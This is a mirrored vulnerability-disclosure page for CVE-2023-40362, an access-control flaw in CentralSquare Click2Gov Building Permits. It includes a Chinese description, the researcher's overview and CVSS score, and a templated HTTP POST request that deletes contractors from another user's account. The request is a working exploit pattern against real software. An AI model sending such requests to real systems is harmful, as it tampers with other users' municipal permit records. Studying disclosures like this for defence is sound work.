Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2023-40362 PoC — CentralSquare 安全漏洞

Source
Associated Vulnerability
Title:CentralSquare 安全漏洞 (CVE-2023-40362)
Description:CentralSquare是CentralSquare公司的一个应用软件。 CentralSquare 存在安全漏洞,该漏洞源于Web 应用程序无法验证用户是否有权从指定用户 ID 的帐户中删除 contractor,攻击者利用该漏洞可以通过Click2GovBP/mastercontractorlist.html删除的 contractor。
Description
CVE-2023-40362 Vulnerabilitiy details and proof of concept
Readme
# CVE-2023-40362
[CVE-2023-40362](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-40362) vulnerabilitiy details and proof-of-concept.

# Overview
An access control vulnerability in Click2Gov BP at the URI `/Click2GovBP/mastercontractorlist.html` leads to the ability for authenticated users to delete the 
contractors from the accounts of other users with the victim's user ID and the information of the contractor to delete.

This is caused by a failure of the web application to verify that the user is authorized to delete the contractor from the account of which the user ID is 
specified.

**Vendor**: [CentralSquare](https://www.centralsquare.com/)

**Reported By**: Ally Petitt

**Discovered**: June 13, 2023

**Affected Products**: Click2Gov Building Permits (BP)

**Affected Releases**: Before October 2023

**CVSS v3**: 5.4 - Moderate (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L)



# Proof of Concept (PoC)
The HTTP POST request shown below can be made in order to delete a contractor from a victim's account. The CSRF token must be valid for this to work.

```
POST /Click2GovBP/mastercontractorlist.html HTTP/1.1
Host: <HOST>
Cookie: welcome=true; JSESSIONID=<SESSION_ID>;
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: <USER_AGENT>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

contractorList%5B0%5D.number=<CONTRACTOR_NUMBER>&contractorList%5B0%5D.type=<CONTRACTOR_TYPE>&contractorList%5B0%5D.name=<CONTRACTOR_NAME>&submitRemoveContractor=true&confirmRemoveContractor=true&userId=<USER_ID>&OWASP_CSRFTOKEN=<CSRF_TOKEN>
```
File Snapshot

[4.0K] /data/pocs/6eeba55428dda98d739c5ee7225e7e0dd4461206 └── [1.8K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.